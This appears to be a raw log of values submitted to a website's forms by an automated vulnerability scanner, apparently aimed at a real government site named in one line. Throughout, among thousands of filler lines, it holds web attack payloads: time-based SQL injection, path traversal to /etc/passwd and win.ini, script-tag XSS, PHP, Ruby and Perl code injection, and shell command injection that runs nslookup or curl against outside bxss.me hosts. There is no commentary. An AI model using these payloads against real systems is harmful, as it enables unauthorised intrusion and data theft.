1XQQ99FGo') OR 588=(SELECT 588 FROM PG_SLEEP(15))--
1
../../../../../../../../../../../../../../etc/shells
1
1
1
1
1
1
c:/windows/win.ini
1
1pFvzTUqq')) OR 798=(SELECT 798 FROM PG_SLEEP(15))--
1
1
1
1
bxss.me
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"
1
1
"+"A".concat(70-3).concat(22*4).concat(98).concat(76).concat(120).concat(68)+(require"socket" Socket.gethostbyname("hitda"+"dczicbizacf0e.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(120).concat(78).concat(97).concat(77)+(require'socket' Socket.gethostbyname('hitvz'+'zbdndeil98997.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
@@xffWO
1
'A'.concat(70-3).concat(22*4).concat(97).concat(69).concat(103).concat(86)+(require'socket' Socket.gethostbyname('hitjh'+'nyzjcmlt10731.bxss.me.')[3].to_s)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
1
1
xfs.bxss.me
1
create
1
1
1
1
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1
1
1
1
1
1
!(()&&!|*|*|
1
1
1
1
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
redirtest.acx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitmc'.'yfcrlleo80f01.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(70).chr(120).chr(88).'
1
1
1
1
1
1
1
1
".gethostbyname(lc("hitub"."usimbkvtbd54b.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(79).chr(110).chr(84)."
1
1
1
1
1
1
1
gethostbyname(lc('hitef'.'kotgkstqe5d26.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(68).chr(97).chr(71)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
1
1
1
1
';print(md5(31337));$a='
1
1
1
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
1
1
1
${@print(md5(31337))}
1
1
1
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
1'&&sleep(27*1000)*oqqycg&&'
1
1
1
1
1
1
1"&&sleep(27*1000)*ueabpa&&"
1
1
1
1
1
1
1'||sleep(27*1000)*wowsoi||'
1
1
1
1
1
1"||sleep(27*1000)*knkgsa||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1BCNXIFBBG0
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1VQGGKQC0
1
1
1
1
response.write(9473158*9004937)
1
1
1
1
1
1
1
'+response.write(9473158*9004937)+'
1
1
1
1
1
1
1
"+response.write(9473158*9004937)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
1
1
<!--
1
1
echo ivzora$()\ mxhcat\nz^xyu||a #' &echo ivzora$()\ mxhcat\nz^xyu||a #|" &echo ivzora$()\ mxhcat\nz^xyu||a #
1
1
1
1
1
&echo erndfl$()\ lnuqnp\nz^xyu||a #' &echo erndfl$()\ lnuqnp\nz^xyu||a #|" &echo erndfl$()\ lnuqnp\nz^xyu||a #
1
1
1
1
1
1
1
1
1&echo onqaud$()\ hbgrtl\nz^xyu||a #' &echo onqaud$()\ hbgrtl\nz^xyu||a #|" &echo onqaud$()\ hbgrtl\nz^xyu||a #
1
1
1
1
1
1
1
|echo gjlxyq$()\ xzbqfv\nz^xyu||a #' |echo gjlxyq$()\ xzbqfv\nz^xyu||a #|" |echo gjlxyq$()\ xzbqfv\nz^xyu||a #
1
1
1
1
1
1
1|echo qtcriv$()\ ibmqhw\nz^xyu||a #' |echo qtcriv$()\ ibmqhw\nz^xyu||a #|" |echo qtcriv$()\ ibmqhw\nz^xyu||a #
1
1
1
1
expr 9000171367 - 988554
1
1
1
1
1
1
1
(nslookup -q=cname hitokhjnzaspw7b813.bxss.me||curl hitokhjnzaspw7b813.bxss.me))
1
1
1
1
1
$(nslookup -q=cname hitgybesydrhtcdba3.bxss.me||curl hitgybesydrhtcdba3.bxss.me)
1
1
1
1
1
1
&nslookup -q=cname hitlsjzdaylkiec45d.bxss.me&'\"`0&nslookup -q=cname hitlsjzdaylkiec45d.bxss.me&`'
1
1
1
1
1
1
1
1
&(nslookup -q=cname hitlvfcfndcnbaf9af.bxss.me||curl hitlvfcfndcnbaf9af.bxss.me)&'\"`0&(nslookup -q=cname hitlvfcfndcnbaf9af.bxss.me||curl hitlvfcfndcnbaf9af.bxss.me)&`'
1
1
1
1
1
1
1
1
|(nslookup -q=cname hitqbqpnvnygofef5a.bxss.me||curl hitqbqpnvnygofef5a.bxss.me)
14Mu8fCkg
1
1
1
1
1
1
`(nslookup -q=cname hitlybivyuwal55220.bxss.me||curl hitlybivyuwal55220.bxss.me)`
1
1
1
1
1
1
1
;(nslookup -q=cname hitatelcffrxqa6275.bxss.me||curl hitatelcffrxqa6275.bxss.me)|(nslookup -q=cname hitatelcffrxqa6275.bxss.me||curl hitatelcffrxqa6275.bxss.me)&(nslookup -q=cname hitatelcffrxqa6275.b
-1 OR 2+633-633-1=0+0+0+1 --
1
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitxemjmlcwsv43d3c.bxss.me||curl${IFS}hitxemjmlcwsv43d3c.bxss.me)
1
1
1
-1 OR 2+577-577-1=0+0+0+1
1
1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitdugskzukuba1319.bxss.me||curl${IFS}hitdugskzukuba1319.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitdugskzukuba1319.bxss.me||curl${IFS}hitdugskzukuba1319.bx
1
1
-1' OR 2+575-575-1=0+0+0+1 --
1
1
1
1
1
1
1
-1' OR 2+835-835-1=0+0+0+1 or 'lxW8ow5y'='
1
1'"()&%<zzz><ScRiPt >JoyS(9865)</ScRiPt>
1
1
1
1
1
-1" OR 2+641-641-1=0+0+0+1 --
1
1
1
1
1
'"()&%<zzz><ScRiPt >JoyS(9083)</ScRiPt>
1
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
19927210
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
Xhgmfztk
1
1
1
1
LYq1VJzk: H3DcWop0
1
1
1
1
1
1-1 waitfor delay '0:0:15' --
../../../../../../../../../../../../../../etc/passwd
12345'"\'\");|]* { < >
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
1
file:///etc/passwd
1
1
1
1
1FD0ZA4gc'; waitfor delay '0:0:15' --
1
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1-1 OR 618=(SELECT 618 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1) OR 900=(SELECT 900 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1-1)) OR 363=(SELECT 363 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
16oeLbqau' OR 834=(SELECT 834 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1QDUvvVJT') OR 509=(SELECT 509 FROM PG_SLEEP(15))--
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1K5nEqRia')) OR 60=(SELECT 60 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"
1
1
1
1
1
1
1
1
1
@@wRDKV
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999328+10000410}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
1
1
1
/etc/shells
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/shells
1
1
1
1
1
c:/windows/win.ini
1
1
1
1
1
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&n937809=v970455
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(103).concat(72).concat(108).concat(74)+(require"socket" Socket.gethostbyname("hitws"+"bnzzwxvfdcfb4.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(114).concat(81).concat(113).concat(72)+(require'socket' Socket.gethostbyname('hitlm'+'nbzbqpcx4ccd4.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(117).concat(89).concat(107).concat(86)+(require'socket' Socket.gethostbyname('hitlw'+'bkixrabrbf5f2.bxss.me.')[3].to_s)
1
1
1
1
1
1
1
create
1
1
1
1
1
create
1
1
1
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1
1
1
1
1
1
!(()&&!|*|*|
1
1
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
redirtest.acx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitwq'.'zbfxyshz350c9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(83).chr(109).chr(76).'
1
1
1
1
1
1
'"()
".gethostbyname(lc("hitbl"."cgstszve1baee.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(79).chr(108).chr(89)."
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1'&&sleep(27*1000)*erktfo&&'
1
gethostbyname(lc('hitin'.'adaxipku95fab.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(86).chr(104).chr(87)
1
1
1
1
1"&&sleep(27*1000)*xqbwvb&&"
1
';print(md5(31337));$a='
1
1
1
1
1
1
1
";print(md5(31337));$a="
1'||sleep(27*1000)*mnaaqb||'
1
1
${@print(md5(31337))}
1
1
1"||sleep(27*1000)*cfrisa||"
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9559575*9869737)
1
1
1
1
1
1
'+response.write(9559575*9869737)+'
1
1
1
1
1
1
"+response.write(9559575*9869737)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
IesHkeCI
1
1
1
1
ItXSnUCu: 9ATEP03X
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >tK2F(9734)</ScRiPt>
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >tK2F(9010)</ScRiPt>
1
1
1
1
1
1
19556768
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
1
1
1
file:///etc/passwd
1
1
1
1
../../../../../../../../../../../../../../../proc/version
1
1
1
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
1
1
../../../../../../../../../../etc/passwd%00.jpg
1
1
1
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
1
1
1
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
1
1
1
1
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
1
1
1
1
/etc/passwd
1
1
<esi:include src="http://bxss.me/rpb.png"/>
%2fetc%2fpasswd
1
1
/.././.././.././.././.././.././.././../etc/./passwd%00
1
1
1
1
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
1
1
1
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
1
1
../././../././../././../././../././../././../././../././../././../././etc/passwd
1
${10000109+9999253}
1
1
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
1
1
1
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
1
file:///etc/passwd
1
1
1
/\../\../\../\../\../\../\../etc/passwd
1
1
/WEB-INF/web.xml
WEB-INF/web.xml
1
1
1
WEB-INF\web.xml
1
1
1
1
&n962460=v957066
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
echo telzet$()\ cejvyz\nz^xyu||a #' &echo telzet$()\ cejvyz\nz^xyu||a #|" &echo telzet$()\ cejvyz\nz^xyu||a #
1
1
bxss.me/t/xss.html?%00
&echo roridw$()\ rblixj\nz^xyu||a #' &echo roridw$()\ rblixj\nz^xyu||a #|" &echo roridw$()\ rblixj\nz^xyu||a #
1
|echo jiempx$()\ etuvnw\nz^xyu||a #' |echo jiempx$()\ etuvnw\nz^xyu||a #|" |echo jiempx$()\ etuvnw\nz^xyu||a #
1
1
expr 9000504063 - 950313
1
1
(nslookup -q=cname hitljgektdbji548f2.bxss.me||curl hitljgektdbji548f2.bxss.me))
1
$(nslookup -q=cname hitmeamshintc980e9.bxss.me||curl hitmeamshintc980e9.bxss.me)
xfs.bxss.me
1
1
&nslookup -q=cname hitsvirwyvbcu4b5ce.bxss.me&'\"`0&nslookup -q=cname hitsvirwyvbcu4b5ce.bxss.me&`'
1
1
1
&(nslookup -q=cname hithstdmlisax90ab1.bxss.me||curl hithstdmlisax90ab1.bxss.me)&'\"`0&(nslookup -q=cname hithstdmlisax90ab1.bxss.me||curl hithstdmlisax90ab1.bxss.me)&`'
1
1
1
|(nslookup -q=cname hitbelbvsetrg62b17.bxss.me||curl hitbelbvsetrg62b17.bxss.me)
1
1
1
`(nslookup -q=cname hitjpzivouicvebb43.bxss.me||curl hitjpzivouicvebb43.bxss.me)`
1
1
1
1
;(nslookup -q=cname hitfeezajcogeebfe0.bxss.me||curl hitfeezajcogeebfe0.bxss.me)|(nslookup -q=cname hitfeezajcogeebfe0.bxss.me||curl hitfeezajcogeebfe0.bxss.me)&(nslookup -q=cname hitfeezajcogeebfe0.b
1
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitfcwmpnfeio15bc1.bxss.me||curl${IFS}hitfcwmpnfeio15bc1.bxss.me)
1
1
12nvGWGpt
&(nslookup${IFS}-q${IFS}cname${IFS}hitdyfhklrxhrfff8a.bxss.me||curl${IFS}hitdyfhklrxhrfff8a.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitdyfhklrxhrfff8a.bxss.me||curl${IFS}hitdyfhklrxhrfff8a.bx
1
1
1
1
-1 OR 2+54-54-1=0+0+0+1 --
1
1
1
-1 OR 2+264-264-1=0+0+0+1
1
1
-1' OR 2+580-580-1=0+0+0+1 --
"+"A".concat(70-3).concat(22*4).concat(122).concat(82).concat(98).concat(66)+(require"socket" Socket.gethostbyname("hituq"+"gegqpvjof30d2.bxss.me.")[3].to_s)+"
https://dpmis.punjab.gov.pk/
1
1
-1' OR 2+731-731-1=0+0+0+1 or 'DhGzJsrG'='
https://redirtest.acx/
'+'A'.concat(70-3).concat(22*4).concat(112).concat(65).concat(99).concat(65)+(require'socket' Socket.gethostbyname('hitlj'+'mnktavqo4e339.bxss.me.')[3].to_s)+'
1
-1" OR 2+246-246-1=0+0+0+1 --
1
'A'.concat(70-3).concat(22*4).concat(117).concat(87).concat(103).concat(75)+(require'socket' Socket.gethostbyname('hitde'+'ltwoiumpdcc79.bxss.me.')[3].to_s)
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
)
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
!(()&&!|*|*|
1
1
^(#$!@#$)(()))******
1-1; waitfor delay '0:0:15' --
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
'.gethostbyname(lc('hitoa'.'vwnkvpnkcbff4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(88).chr(101).chr(73).'
1-1); waitfor delay '0:0:15' --
1
Http://bxss.me/t/fit.txt
".gethostbyname(lc("hitvl"."jkmtlrbebe3d7.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(74).chr(99).chr(66)."
1
1
http://bxss.me/t/fit.txt%3F.jpg
gethostbyname(lc('hitge'.'mobczxzp43af0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(76).chr(112).chr(83)
1-1 waitfor delay '0:0:15' --
1
/etc/shells
1
1
../../../../../../../../../../../../../../etc/shells
1AKflcFNc'; waitfor delay '0:0:15' --
1
c:/windows/win.ini
1
1
bxss.me
1-1 OR 812=(SELECT 812 FROM PG_SLEEP(15))--
1
1
1
1-1) OR 343=(SELECT 343 FROM PG_SLEEP(15))--
1
'"()
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9751857*9786109)
1
'+response.write(9751857*9786109)+'
"+response.write(9751857*9786109)+"
1
'"
1
1
<!--
1'"()&%<zzz><ScRiPt >FRi9(9280)</ScRiPt>
1
1
1
echo rbfqbn$()\ xpihhb\nz^xyu||a #' &echo rbfqbn$()\ xpihhb\nz^xyu||a #|" &echo rbfqbn$()\ xpihhb\nz^xyu||a #
'"()&%<zzz><ScRiPt >FRi9(9219)</ScRiPt>
1
1
&echo mnqwpu$()\ xbhvbc\nz^xyu||a #' &echo mnqwpu$()\ xbhvbc\nz^xyu||a #|" &echo mnqwpu$()\ xbhvbc\nz^xyu||a #
1
1
1&echo tmdktx$()\ xmnegq\nz^xyu||a #' &echo tmdktx$()\ xmnegq\nz^xyu||a #|" &echo tmdktx$()\ xmnegq\nz^xyu||a #
1
19466972
1
|echo glhbcz$()\ wxzzyr\nz^xyu||a #' |echo glhbcz$()\ wxzzyr\nz^xyu||a #|" |echo glhbcz$()\ wxzzyr\nz^xyu||a #
1
1
1
1|echo bdhdfx$()\ sksomz\nz^xyu||a #' |echo bdhdfx$()\ sksomz\nz^xyu||a #|" |echo bdhdfx$()\ sksomz\nz^xyu||a #
1
1
1
expr 9000618470 - 941213
1
1
1
1
(nslookup -q=cname hitrbblpsbuad00aaf.bxss.me||curl hitrbblpsbuad00aaf.bxss.me))
1
1
1
1
1
$(nslookup -q=cname hitdziriehllc64cc3.bxss.me||curl hitdziriehllc64cc3.bxss.me)
1
1
&nslookup -q=cname hitvqqhozipkl77177.bxss.me&'\"`0&nslookup -q=cname hitvqqhozipkl77177.bxss.me&`'
1
1
1
1
&(nslookup -q=cname hitudplfnvbulc59e2.bxss.me||curl hitudplfnvbulc59e2.bxss.me)&'\"`0&(nslookup -q=cname hitudplfnvbulc59e2.bxss.me||curl hitudplfnvbulc59e2.bxss.me)&`'
1
1
1
|(nslookup -q=cname hitvxnawdmbcq80a73.bxss.me||curl hitvxnawdmbcq80a73.bxss.me)
1
1
`(nslookup -q=cname hitpzlncfctnp90242.bxss.me||curl hitpzlncfctnp90242.bxss.me)`
1
1
1
;(nslookup -q=cname hitvxsadavlkya4ddf.bxss.me||curl hitvxsadavlkya4ddf.bxss.me)|(nslookup -q=cname hitvxsadavlkya4ddf.bxss.me||curl hitvxsadavlkya4ddf.bxss.me)&(nslookup -q=cname hitvxsadavlkya4ddf.b
1
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitoorexkxdwq02dea.bxss.me||curl${IFS}hitoorexkxdwq02dea.bxss.me)
1
1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitjhtaaojhyc07f22.bxss.me||curl${IFS}hitjhtaaojhyc07f22.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitjhtaaojhyc07f22.bxss.me||curl${IFS}hitjhtaaojhyc07f22.bx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
tCLjQpKq
1
1
1
1
1
KX2cfKLq: FoHP0t86
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
file:///etc/passwd
1
1
1
1
1
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1hY4HMOH9
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
-1 OR 2+765-765-1=0+0+0+1 --
1
1
1
-1 OR 2+185-185-1=0+0+0+1
1
1
1
-1' OR 2+456-456-1=0+0+0+1 --
1
1
1
1
-1' OR 2+303-303-1=0+0+0+1 or 'CHEKe1s4'='
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
-1" OR 2+235-235-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
${9999605+9999400}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1WHNbQCGz'; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1-1 OR 411=(SELECT 411 FROM PG_SLEEP(15))--
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
1-1) OR 763=(SELECT 763 FROM PG_SLEEP(15))--
Http://bxss.me/t/fit.txt
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1&n985661=v935927
1
/etc/shells
1
1
1
../../../../../../../../../../../../../../etc/shells
1-1)) OR 939=(SELECT 939 FROM PG_SLEEP(15))--
1
1
1
c:/windows/win.ini
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1zXSrWtBE' OR 36=(SELECT 36 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
"+"A".concat(70-3).concat(22*4).concat(116).concat(87).concat(100).concat(67)+(require"socket" Socket.gethostbyname("hitop"+"dcidxjvu6c2ed.bxss.me.")[3].to_s)+"
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
